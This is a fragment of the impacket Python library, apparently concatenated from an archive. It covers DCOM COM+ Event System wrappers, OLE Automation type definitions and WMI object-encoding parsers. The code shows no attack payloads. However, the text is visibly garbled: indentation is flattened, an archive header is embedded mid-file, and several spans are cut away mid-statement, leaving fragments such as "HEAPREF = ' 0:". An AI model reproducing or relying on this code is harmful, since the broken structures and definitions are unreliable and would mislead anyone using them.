IEventSubscription_put_SubscriberInterface() request['pSubscriberInterface'] = pSubscriberInterface resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_PerUser(self): request = IEventSubscription_get_PerUser() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_PerUser(self, fPerUser): request = IEventSubscription_put_PerUser() request['fPerUser'] = fPerUser resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_OwnerSID(self): request = IEventSubscription_get_OwnerSID() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_OwnerSID(self, bstrOwnerSID): request = IEventSubscription_put_OwnerSID() request['bstrOwnerSID'] = bstrOwnerSID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_Enabled(self): request = IEventSubscription_get_Enabled() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_Enabled(self, fEnabled): request = IEventSubscription_put_Enabled() request['fEnabled'] = fEnabled resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_Description(self): request = IEventSubscription_get_Description() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_Description(self, bstrDescription): request = IEventSubscription_put_Description() request['bstrDescription'] = bstrDescription resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_MachineName(self): request = IEventSubscription_get_MachineName() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_MachineName(self, bstrMachineName): request = IEventSubscription_put_MachineName() request['bstrMachineName'] = bstrMachineName resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def GetPublisherProperty(self): request = IEventSubscription_GetPublisherProperty() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def PutPublisherProperty(self, bstrPropertyName, propertyValue): request = IEventSubscription_PutPublisherProperty() request['bstrPropertyName'] = bstrPropertyName request['propertyValue'] = propertyValue resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def RemovePublisherProperty(self, bstrPropertyName): request = IEventSubscription_RemovePublisherProperty() request['bstrPropertyName'] = bstrPropertyName resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def GetPublisherPropertyCollection(self): request = IEventSubscription_GetPublisherPropertyCollection() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def GetSubscriberProperty(self): request = IEventSubscription_GetSubscriberProperty() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def PutSubscriberProperty(self, bstrPropertyName, propertyValue): request = IEventSubscription_PutSubscriberProperty() request['bstrPropertyName'] = bstrPropertyName request['propertyValue'] = propertyValue resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def RemoveSubscriberProperty(self, bstrPropertyName): request = IEventSubscription_RemoveSubscriberProperty() request['bstrPropertyName'] = bstrPropertyName resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def GetSubscriberPropertyCollection(self): request = IEventSubscription_GetSubscriberPropertyCollection() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_InterfaceID(self): request = IEventSubscription_get_InterfaceID() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_InterfaceID(self, bstrInterfaceID): request = IEventSubscription_put_InterfaceID() request['bstrInterfaceID'] = bstrInterfaceID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp class IEventSubscription2(IEventSubscription): def __init__(self, interface): IEventSubscription.__init__(self,interface) self._iid = IID_IEventSubscription2 def get_FilterCriteria(self): request = IEventSubscription2_get_FilterCriteria() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_FilterCriteria(self, bstrFilterCriteria): request = IEventSubscription2_put_FilterCriteria() request['bstrFilterCriteria'] = bstrFilterCriteria resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_SubscriberMoniker (self): request = IEventSubscription2_get_SubscriberMoniker () resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_SubscriberMoniker(self, bstrMoniker): request = IEventSubscription2_put_SubscriberMoniker() request['bstrMoniker'] = bstrMoniker resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp class IEventSubscription3(IEventSubscription2): def __init__(self, interface): IEventSubscription2.__init__(self,interface) self._iid = IID_IEventSubscription3 def get_EventClassPartitionID(self): request = IEventSubscription3_get_EventClassPartitionID() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_EventClassPartitionID(self, bstrEventClassPartitionID): request = IEventSubscription3_put_EventClassPartitionID() request['bstrEventClassPartitionID'] = bstrEventClassPartitionID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_EventClassApplicationID(self): request = IEventSubscription3_get_EventClassApplicationID() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_EventClassApplicationID(self, bstrEventClassApplicationID): request = IEventSubscription3_put_EventClassApplicationID() request['bstrEventClassApplicationID'] = bstrEventClassApplicationID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_SubscriberPartitionID(self): request = IEventSubscription3_get_SubscriberPartitionID() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_SubscriberPartitionID(self, bstrSubscriberPartitionID): request = IEventSubscription3_put_SubscriberPartitionID() request['bstrSubscriberPartitionID'] = bstrSubscriberPartitionID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_SubscriberApplicationID(self): request = IEventSubscription3_get_SubscriberApplicationID() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_SubscriberApplicationID(self, bstrSubscriberApplicationID): request = IEventSubscription3_put_SubscriberApplicationID() request['bstrSubscriberApplicationID'] = bstrSubscriberApplicationID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp class IEnumEventObject(IDispatch): def __init__(self, interface): IDispatch.__init__(self,interface) self._iid = IID_IEnumEventObject def Clone(self): request = IEnumEventObject_Clone() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return IEnumEventObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppInterface']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) def Next(self, cReqElem): request = IEnumEventObject_Next() request['cReqElem'] = cReqElem resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) interfaces = list() for interface in resp['ppInterface']: interfaces.append(IEventClass2(INTERFACE(self.get_cinstance(), ''.join(interface['abData']), self.get_ipidRemUnknown(), target = self.get_target()))) return interfaces def Reset(self): request = IEnumEventObject_Reset() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp def Skip(self, cSkipElem): request = IEnumEventObject_Skip() request['cSkipElem'] = cSkipElem resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp class IEventObjectCollection(IDispatch): def __init__(self, interface): IDispatch.__init__(self,interface) self._iid = IID_IEventObjectCollection def get__NewEnum(self): request = IEventObjectCollection_get__NewEnum() resp = self.request(request, iid = self._iid , uuid = self.get_iPid()) return IEnumEventObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self._get_target())) def get_Item(self, objectID): request = IEventObjectCollection_get_Item() request['objectID']['asData'] = objectID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp def get_NewEnum(self): request = IEventObjectCollection_get_NewEnum() resp = self.request(request, iid = self._iid , uuid = self.get_iPid()) return IEnumEventObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) def get_Count(self): request = IEventObjectCollection_get_Count() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp def Add(self, item, objectID): request = IEventObjectCollection_Add() request['item'] = item request['objectID']['asData'] = objectID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp def Remove(self, objectID): request = IEventObjectCollection_Remove() request['objectID']['asData'] = objectID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp class IEventSystem(IDispatch): def __init__(self, interface): IDispatch.__init__(self,interface) self._iid = IID_IEventSystem def Query(self, progID, queryCriteria): request = IEventSystem_Query() request['progID']['asData']=progID request['queryCriteria']['asData']=queryCriteria resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) iInterface = IDispatch(INTERFACE(self.get_cinstance(), ''.join(resp['ppInterface']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) return IEventObjectCollection(iInterface.RemQueryInterface(1, (IID_IEventObjectCollection,))) def Store(self, progID, pInterface): request = IEventSystem_Store() request['progID']['asData']=progID request['pInterface'] = pInterface resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp def Remove(self, progID, queryCriteria): request = IEventSystem_Remove() request['progID']['asData']=progID request['queryCriteria'] = queryCriteria resp = self.request(request, uuid = self.get_iPid()) return resp def get_EventObjectChangeEventClassID(self): request = IEventSystem_get_EventObjectChangeEventClassID() resp = self.request(request, uuid = self.get_iPid()) return resp def QueryS(self,progID, queryCriteria): request = IEventSystem_QueryS() request['progID']['asData']=progID request['queryCriteria']['asData']=queryCriteria resp = self.request(request, uuid = self.get_iPid()) iInterface = IDispatch(INTERFACE(self.get_cinstance(), ''.join(resp['ppInterface']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) return IEventObjectCollection(iInterface.RemQueryInterface(1, (IID_IEventObjectCollection,))) def RemoveS(self,progID, queryCriteria): request = IEventSystem_RemoveS() request['progID']['asData']=progID request['queryCriteria']['asData']=queryCriteria resp = self.request(request, uuid = self.get_iPid()) return resp class IEventSystem2(IEventSystem): def __init__(self, interface): IEventSystem.__init__(self,interface) self._iid = IID_IEventSystem2 def GetVersion(self): request = IEventSystem2_GetVersion() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp def VerifyTransientSubscribers(self): request = IEventSystem2_GetVersion() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp class IEventSystemInitialize(IRemUnknown): def __init__(self, interface): IRemUnknown.__init__(self,interface) self._iid = IID_IEventSystemInitialize def SetCOMCatalogBehaviour(self, bRetainSubKeys): request = IEventSystem2_GetVersion() request['bRetainSubKeys'] = bRetainSubKeys resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp impacket-0.9.15/impacket/dcerpc/v5/dcom/oaut.py0000600000076500000000000007243612734531507021320 0ustar betowheel00000000000000# Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: Alberto Solino (@agsolino) # # Description: # [MS-OAUT]: OLE Automation Protocol Implementation # This was used as a way to test the DCOM runtime. Further # testing is needed to verify it is working as expected # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC # # Since DCOM is like an OO RPC, instead of helper functions you will see the # classes described in the standards developed. # There are test cases for them too. # import random from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER, NDRENUM, NDRUSHORT, NDRUNION, \ NDRUniConformantVaryingArray from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown2, PMInterfacePointer, INTERFACE, \ MInterfacePointer, MInterfacePointer_ARRAY, BYTE_ARRAY from impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, DWORD, SHORT, GUID, USHORT, LONG, WSTR, BYTE, LONGLONG, FLOAT, \ DOUBLE, HRESULT, PSHORT, PLONG, PLONGLONG, PFLOAT, PDOUBLE, PHRESULT, CHAR, ULONGLONG, INT, UINT, PCHAR, PUSHORT, \ PULONG, PULONGLONG, PINT, PUINT, NULL from impacket.dcerpc.v5.enum import Enum from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket import hresult_errors from impacket.uuid import string_to_bin from struct import pack, unpack class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): if hresult_errors.ERROR_MESSAGES.has_key(self.error_code): error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] return 'OAUT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'OAUT SessionError: unknown error code: 0x%x' % (self.error_code) ################################################################################ # CONSTANTS ################################################################################ # 1.9 Standards Assignments IID_IDispatch = string_to_bin('00020400-0000-0000-C000-000000000046') IID_ITypeInfo = string_to_bin('00020401-0000-0000-C000-000000000046') IID_ITypeComp = string_to_bin('00020403-0000-0000-C000-000000000046') IID_NULL = string_to_bin('00000000-0000-0000-0000-000000000000') error_status_t = ULONG LCID = DWORD WORD = NDRUSHORT # 2.2.2 IID IID = GUID # 2.2.3 LPOLESTR LPOLESTR = LPWSTR OLESTR = WSTR # 2.2.4 REFIID REFIID = IID # 2.2.25 DATE DATE = DOUBLE class PDATE(NDRPOINTER): referent = ( ('Data', DATE), ) # 2.2.27 VARIANT_BOOL VARIANT_BOOL = USHORT class PVARIANT_BOOL(NDRPOINTER): referent = ( ('Data', VARIANT_BOOL), ) # 3.1.4.4 IDispatch::Invoke (Opnum 6) # dwFlags DISPATCH_METHOD = 0x00000001 DISPATCH_PROPERTYGET = 0x00000002 DISPATCH_PROPERTYPUT = 0x00000004 DISPATCH_PROPERTYPUTREF = 0x00000008 DISPATCH_zeroVarResult = 0x00020000 DISPATCH_zeroExcepInfo = 0x00040000 DISPATCH_zeroArgErr = 0x00080000 ################################################################################ # STRUCTURES ################################################################################ # 2.2.26 DECIMAL class DECIMAL(NDRSTRUCT): structure = ( ('wReserved',WORD), ('scale',BYTE), ('sign',BYTE), ('Hi32',ULONG), ('Lo64',ULONGLONG), ) class PDECIMAL(NDRPOINTER): referent = ( ('Data', DECIMAL), ) # 2.2.7 VARIANT Type Constants class VARENUM(NDRENUM): class enumItems(Enum): VT_EMPTY = 0 VT_NULL = 1 VT_I2 = 2 VT_I4 = 3 VT_R4 = 4 VT_R8 = 5 VT_CY = 6 VT_DATE = 7 VT_BSTR = 8 VT_DISPATCH = 9 VT_ERROR = 0xa VT_BOOL = 0xb VT_VARIANT = 0xc VT_UNKNOWN = 0xd VT_DECIMAL = 0xe VT_I1 = 0x10 VT_UI1 = 0x11 VT_UI2 = 0x12 VT_UI4 = 0x13 VT_I8 = 0x14 VT_UI8 = 0x15 VT_INT = 0x16 VT_UINT = 0x17 VT_VOID = 0x18 VT_HRESULT = 0x19 VT_PTR = 0x1a VT_SAFEARRAY = 0x1b VT_CARRAY = 0x1c VT_USERDEFINED = 0x1d VT_LPSTR = 0x1e VT_LPWSTR = 0x1f VT_RECORD = 0x24 VT_INT_PTR = 0x25 VT_UINT_PTR = 0x26 VT_ARRAY = 0x2000 VT_BYREF = 0x4000 VT_UINT_PTR = 7 VT_RECORD_OR_VT_BYREF = VT_RECORD | VT_BYREF VT_UI1_OR_VT_BYREF = VT_UI1 | VT_BYREF VT_I2_OR_VT_BYREF = VT_I2 | VT_BYREF VT_I4_OR_VT_BYREF = VT_I4 | VT_BYREF VT_I8_OR_VT_BYREF = VT_I8 | VT_BYREF VT_R4_OR_VT_BYREF = VT_R4 | VT_BYREF VT_R8_OR_VT_BYREF = VT_R8 | VT_BYREF VT_BOOL_OR_VT_BYREF = VT_BOOL | VT_BYREF VT_ERROR_OR_VT_BYREF = VT_ERROR | VT_BYREF VT_CY_OR_VT_BYREF = VT_CY | VT_BYREF VT_DATE_OR_VT_BYREF = VT_DATE | VT_BYREF VT_BSTR_OR_VT_BYREF = VT_BSTR | VT_BYREF VT_UNKNOWN_OR_VT_BYREF = VT_UNKNOWN | VT_BYREF VT_DISPATCH_OR_VT_BYREF = VT_DISPATCH | VT_BYREF VT_ARRAY_OR_VT_BYREF = VT_ARRAY | VT_BYREF VT_VARIANT_OR_VT_BYREF = VT_VARIANT| VT_BYREF VT_I1_OR_VT_BYREF = VT_I1 | VT_BYREF VT_UI2_OR_VT_BYREF = VT_UI2 | VT_BYREF VT_UI4_OR_VT_BYREF = VT_UI4 | VT_BYREF VT_UI8_OR_VT_BYREF = VT_UI8 | VT_BYREF VT_INT_OR_VT_BYREF = VT_INT | VT_BYREF VT_UINT_OR_VT_BYREF = VT_UINT | VT_BYREF VT_DECIMAL_OR_VT_BYREF = VT_DECIMAL | VT_BYREF # 2.2.8 SAFEARRAY Feature Constants class SF_TYPE(NDRENUM): # [v1_enum] type structure = ( ('Data', ' 1: if self['Encoded_String_Flag'] == 0: self.structure += self.tascii # Let's search for the end of the string index = data[1:].find('\x00') data = data[:index+1+1] else: self.structure = self.tunicode index = data[1:].find('\x00\x00') data = data[:index+1+2] self.fromString(data) else: self.structure = self.tascii self.data = None # 2.2.8 DecServerName DEC_SERVER_NAME = ENCODED_STRING # 2.2.9 DecNamespaceName DEC_NAMESPACE_NAME = ENCODED_STRING # 2.2.7 Decoration class DECORATION(Structure): structure = ( ('DecServerName', ':', DEC_SERVER_NAME), ('DecNamespaceName', ':', DEC_NAMESPACE_NAME), ) # 2.2.69 HeapRef HEAPREF = ' 0: itemn = QUALIFIER(data) if itemn['QualifierName'] == 0xffffffff: qName = '' elif itemn['QualifierName'] & 0x80000000: qName = DICTIONARY_REFERENCE[itemn['QualifierName'] & 0x7fffffff] else: qName = ENCODED_STRING(heap[itemn['QualifierName']:])['Character'] value = ENCODED_VALUE.getValue(itemn['QualifierType'], itemn['QualifierValue'], heap) qualifiers[qName] = value data = data[len(itemn):] return qualifiers # 2.2.20 ClassQualifierSet CLASS_QUALIFIER_SET = QUALIFIER_SET # 2.2.22 PropertyCount PROPERTY_COUNT = ' 0: record = QUALIFIER(qualifiersBuf) if record['QualifierName'] & 0x80000000: qualifierName = DICTIONARY_REFERENCE[record['QualifierName'] & 0x7fffffff] else: qualifierName = ENCODED_STRING(heap[record['QualifierName']:])['Character'] qualifierValue = ENCODED_VALUE.getValue(record['QualifierType'], record['QualifierValue'], heap) qualifiersBuf = qualifiersBuf[len(record):] qualifiers[qualifierName] = qualifierValue propItemDict['qualifiers'] = qualifiers properties[propName] = propItemDict propTable = propTable[self.PropertyLookupSize:] return OrderedDict(sorted(properties.items(), key=lambda x:x[1]['order'])) #return properties # 2.2.66 Heap HEAP_LENGTH = ' 0: value = ENCODED_VALUE.getValue(properties[key]['type'], itemValue, heap) properties[key]['value'] = "%s" % value valueTable = valueTable[dataSize:] return properties # 2.2.39 MethodCount METHOD_COUNT = ' 0: methodDict['InParams'] = inputSignature['ObjectBlock']['ClassType']['CurrentClass'].getProperties() methodDict['InParamsRaw'] = inputSignature['ObjectBlock'] #print methodDict['InParams'] else: methodDict['InParams'] = None if itemn['OutputSignature'] != 0xffffffff: outputSignature = METHOD_SIGNATURE_BLOCK(heap[itemn['OutputSignature']:]) if outputSignature['EncodingLength'] > 0: methodDict['OutParams'] = outputSignature['ObjectBlock']['ClassType']['CurrentClass'].getProperties() methodDict['OutParamsRaw'] = outputSignature['ObjectBlock'] else: methodDict['OutParams'] = None data = data[len(itemn):] methods[methodDict['name']] = methodDict return methods # 2.2.14 ClassAndMethodsPart class CLASS_AND_METHODS_PART(Structure): structure = ( ('ClassPart', ':', CLASS_PART), ('MethodsPart', ':', METHODS_PART), ) def getClassName(self): pClassName = self['ClassPart']['ClassHeader']['ClassNameRef'] cHeap = self['ClassPart']['ClassHeap']['HeapItem'] if pClassName == 0xffffffff: return 'None' else: className = ENCODED_STRING(cHeap[pClassName:])['Character'] derivationList = self['ClassPart']['DerivationList']['ClassNameEncoding'] while len(derivationList) > 0: superClass = ENCODED_STRING(derivationList)['Character'] className += ' : %s ' % superClass derivationList = derivationList[len(ENCODED_STRING(derivationList))+4:] return className def getQualifiers(self): return self["ClassPart"].getQualifiers() def getProperties(self): #print format_structure(self["ClassPart"].getProperties()) return self["ClassPart"].getProperties() def getMethods(self): return self["MethodsPart"].getMethods() # 2.2.13 CurrentClass CURRENT_CLASS = CLASS_AND_METHODS_PART # 2.2.54 InstanceFlags INSTANCE_FLAGS = 'B=0' # 2.2.55 InstanceClassName INSTANCE_CLASS_NAME = HEAP_STRING_REF # 2.2.27 NullAndDefaultFlag NULL_AND_DEFAULT_FLAG = 'B=0' # 2.2.26 NdTable NDTABLE = NULL_AND_DEFAULT_FLAG # 2.2.56 InstanceData #InstanceData = ValueTable class CURRENT_CLASS_NO_METHODS(CLASS_AND_METHODS_PART): structure = ( ('ClassPart', ':', CLASS_PART), ) def getMethods(self): return () # 2.2.65 InstancePropQualifierSet INST_PROP_QUAL_SET_FLAG = 'B=0' class INSTANCE_PROP_QUALIFIER_SET(Structure): commonHdr = ( ('InstPropQualSetFlag', INST_PROP_QUAL_SET_FLAG), ) tail = ( # ToDo: this is wrong.. this should be an array of QualifierSet, see documentation #('QualifierSet', ':', QualifierSet), ('QualifierSet', ':', QUALIFIER_SET), ) def __init__(self, data = None, alignment = 0): Structure.__init__(self, data, alignment) self.structure = () if data is not None: # Let's first check the commonHdr self.fromString(data) if self['InstPropQualSetFlag'] == 2: # We don't support this yet! raise self.fromString(data) else: self.data = None # 2.2.57 InstanceQualifierSet class INSTANCE_QUALIFIER_SET(Structure): structure = ( ('QualifierSet', ':', QUALIFIER_SET), ('InstancePropQualifierSet', ':', INSTANCE_PROP_QUALIFIER_SET), ) # 2.2.58 InstanceHeap INSTANCE_HEAP = HEAP # 2.2.53 InstanceType class INSTANCE_TYPE(Structure): commonHdr = ( ('CurrentClass', ':', CURRENT_CLASS_NO_METHODS), ('EncodingLength', ENCODING_LENGTH), ('InstanceFlags', INSTANCE_FLAGS), ('InstanceClassName', INSTANCE_CLASS_NAME), ('_NdTable_ValueTable', '_-NdTable_ValueTable', 'self["CurrentClass"]["ClassPart"]["ClassHeader"]["NdTableValueTableLength"]'), ('NdTable_ValueTable',':'), ('InstanceQualifierSet', ':', INSTANCE_QUALIFIER_SET), ('InstanceHeap', ':', INSTANCE_HEAP), ) def __init__(self, data = None, alignment = 0): Structure.__init__(self, data, alignment) self.structure = () if data is not None: # Let's first check the commonHdr self.fromString(data) #hexdump(data[len(self.getData()):]) self.NdTableSize = (self['CurrentClass']['ClassPart']['PropertyLookupTable']['PropertyCount'] - 1) /4 + 1 #self.InstanceDataSize = self['CurrentClass']['ClassPart']['PropertyLookupTable']['PropertyCount'] * len(InstanceData()) self.fromString(data) else: self.data = None def getValues(self, properties): heap = self["InstanceHeap"]["HeapItem"] valueTableOff = (len(properties) - 1) / 4 + 1 valueTable = self['NdTable_ValueTable'][valueTableOff:] sorted_props = sorted(properties.keys(), key=lambda k: properties[k]['order']) for key in sorted_props: pType = properties[key]['type'] & (~(CIM_ARRAY_FLAG|Inherited)) if properties[key]['type'] & CIM_ARRAY_FLAG: unpackStr = HEAPREF[:-2] else: unpackStr = CIM_TYPES_REF[pType][:-2] dataSize = calcsize(unpackStr) try: itemValue = unpack(unpackStr, valueTable[:dataSize])[0] except: LOG.error("getValues: Error Unpacking!") itemValue = 0xffffffff # if itemValue == 0, default value remains if itemValue != 0: value = ENCODED_VALUE.getValue( properties[key]['type'], itemValue, heap) else: value = 0 properties[key]['value'] = value valueTable = valueTable[dataSize:] return properties # 2.2.12 ParentClass PARENT_CLASS = CLASS_AND_METHODS_PART # 2.2.13 CurrentClass CURRENT_CLASS = CLASS_AND_METHODS_PART class CLASS_TYPE(Structure): structure = ( ('ParentClass', ':', PARENT_CLASS), ('CurrentClass', ':', CURRENT_CLASS), ) # 2.2.5 ObjectBlock class OBJECT_BLOCK(Structure): commonHdr = ( ('ObjectFlags', OBJECT_FLAGS), ) decoration = ( ('Decoration', ':', DECORATION), ) instanceType = ( ('InstanceType', ':', INSTANCE_TYPE), ) classType = ( ('ClassType', ':', CLASS_TYPE), ) def __init__(self, data = None, alignment = 0): Structure.__init__(self, data, alignment) self.ctParent = None self.ctCurrent = None if data is not None: self.structure = () if ord(data[0]) & 0x4: # WMIO - 2.2.6 - 0x04 If this flag is set, the object has a Decoration block. self.structure += self.decoration if ord(data[0]) & 0x01: # The object is a CIM class. self.structure += self.classType else: self.structure += self.instanceType self.fromString(data) else: self.data = None def isInstance(self): if self['ObjectFlags'] & 0x01: return False return True def printClass(self, pClass, cInstance = None): qualifiers = pClass.getQualifiers() for qualifier in qualifiers: print "[%s]" % qualifier className = pClass.getClassName() print "class %s \n{" % className properties = pClass.getProperties() if cInstance is not None: properties = cInstance.getValues(properties) for pName in properties: #if property['inherited'] == 0: qualifiers = properties[pName]['qualifiers'] for qName in qualifiers: if qName != 'CIMTYPE': print '\t[%s(%s)]' % (qName, qualifiers[qName]) print "\t%s %s" % (properties[pName]['stype'], properties[pName]['name']), if properties[pName]['value'] is not None: print '= %s\n' % properties[pName]['value'] else: print '\n' print methods = pClass.getMethods() for methodName in methods: for qualifier in methods[methodName]['qualifiers']: print '\t[%s]' % qualifier if methods[methodName]['InParams'] is None and methods[methodName]['OutParams'] is None: print '\t%s %s();\n' % ('void', methodName) if methods[methodName]['InParams'] is None and len(methods[methodName]['OutParams']) == 1: print '\t%s %s();\n' % (methods[methodName]['OutParams']['ReturnValue']['stype'], methodName) else: returnValue = '' if methods[methodName]['OutParams'] is not None: # Search the Return Value #returnValue = (item for item in method['OutParams'] if item["name"] == "ReturnValue").next() if methods[methodName]['OutParams'].has_key('ReturnValue'): returnValue = methods[methodName]['OutParams']['ReturnValue']['stype'] print '\t%s %s(\n' % (returnValue, methodName), if methods[methodName]['InParams'] is not None: for pName in methods[methodName]['InParams']: print '\t\t[in] %s %s,' % (methods[methodName]['InParams'][pName]['stype'], pName) if methods[methodName]['OutParams'] is not None: for pName in methods[methodName]['OutParams']: if pName != 'ReturnValue': print '\t\t[out] %s %s,' % (methods[methodName]['OutParams'][pName]['stype'], pName) print '\t);\n' print "}" def parseClass(self, pClass, cInstance = None): classDict = OrderedDict() classDict['name'] = pClass.getClassName() classDict['qualifiers'] = pClass.getQualifiers() classDict['properties'] = pClass.getProperties() classDict['methods'] = pClass.getMethods() if cInstance is not None: classDict['values'] = cInstance.getValues(classDict['properties']) else: classDict['values'] = None return classDict def parseObject(self): if (self['ObjectFlags'] & 0x01) == 0: # instance ctCurrent = self['InstanceType']['CurrentClass'] currentName = ctCurrent.getClassName() if currentName is not None: self.ctCurrent = self.parseClass(ctCurrent, self['InstanceType']) return else: ctParent = self['ClassType']['ParentClass'] ctCurrent = self['ClassType']['CurrentClass'] parentName = ctParent.getClassName() if parentName is not None: self.ctParent = self.parseClass(ctParent) currentName = ctCurrent.getClassName() if currentName is not None: self.ctCurrent = self.parseClass(ctCurrent) def printInformation(self): # First off, do we have a class? if (self['ObjectFlags'] & 0x01) == 0: # instance ctCurrent = self['InstanceType']['CurrentClass'] currentName = ctCurrent.getClassName() if currentName is not None: self.printClass(ctCurrent, self['InstanceType']) return else: ctParent = self['ClassType']['ParentClass'] ctCurrent = self['ClassType']['CurrentClass'] parentName = ctParent.getClassName() if parentName is not None: self.printClass(ctParent) currentName = ctCurrent.getClassName() if currentName is not None: self.printClass(ctCurrent) # 2.2.70 MethodSignatureBlock class METHOD_SIGNATURE_BLOCK(Structure): commonHdr = ( ('EncodingLength', ENCODING_LENGTH), ) tail = ( ('_ObjectBlock', '_-ObjectBlock', 'self["EncodingLength"]'), ('ObjectBlock', ':', OBJECT_BLOCK), ) def __init__(self, data = None, alignment = 0): Structure.__init__(self, data, alignment) if data is not None: self.fromString(data) if self['EncodingLength'] > 0: self.structure = () self.structure += self.tail self.fromString(data) else: self.data = None # 2.2.1 EncodingUnit class ENCODING_UNIT(Structure): structure = ( ('Signature', SIGNATURE), ('ObjectEncodingLength', OBJECT_ENCODING_LENGTH), ('_ObjectBlock', '_-ObjectBlock', 'self["ObjectEncodingLength"]'), ('ObjectBlock', ':', OBJECT_BLOCK), ) ################################################################################ # CONSTANTS ################################################################################ # 1.9 Standards Assignments CLSID_WbemLevel1Login = string_to_bin('8BC3F05E-D86B-11D0-A075-00C04FB68820') CLSID_WbemBackupRestore = string_to_bin('C49E32C6-BC8B-11D2-85D4-00105A1F8304') CLSID_WbemClassObject = string_to_bin('4590F812-1D3A-11D0-891F-00AA004B2E24') IID_IWbemLevel1Login = uuidtup_to_bin(('F309AD18-D86A-11d0-A075-00C04FB68820', '0.0')) IID_IWbemLoginClientID = uuidtup_to_bin(('d4781cd6-e5d3-44df-ad94-930efe48a887', '0.0')) IID_IWbemLoginHelper = uuidtup_to_bin(('541679AB-2E5F-11d3-B34E-00104BCC4B4A', '0.0')) IID_IWbemServices = uuidtup_to_bin(('9556DC99-828C-11CF-A37E-00AA003240C7', '0.0')) IID_IWbemBackupRestore = uuidtup_to_bin(('C49E32C7-BC8B-11d2-85D4-00105A1F8304', '0.0')) IID_IWbemBackupRestoreEx = uuidtup_to_bin(('A359DEC5-E813-4834-8A2A-BA7F1D777D76', '0.0')) IID_IWbemClassObject = uuidtup_to_bin(('DC12A681-737F-11CF-884D-00AA004B2E24', '0.0')) IID_IWbemContext = uuidtup_to_bin(('44aca674-e8fc-11d0-a07c-00c04fb68820', '0.0')) IID_IEnumWbemClassObject = uuidtup_to_bin(('027947e1-d731-11ce-a357-000000000001', '0.0')) IID_IWbemCallResult = uuidtup_to_bin(('44aca675-e8fc-11d0-a07c-00c04fb68820', '0.0')) IID_IWbemFetchSmartEnum = uuidtup_to_bin(('1C1C45EE-4395-11d2-B60B-00104B703EFD', '0.0')) 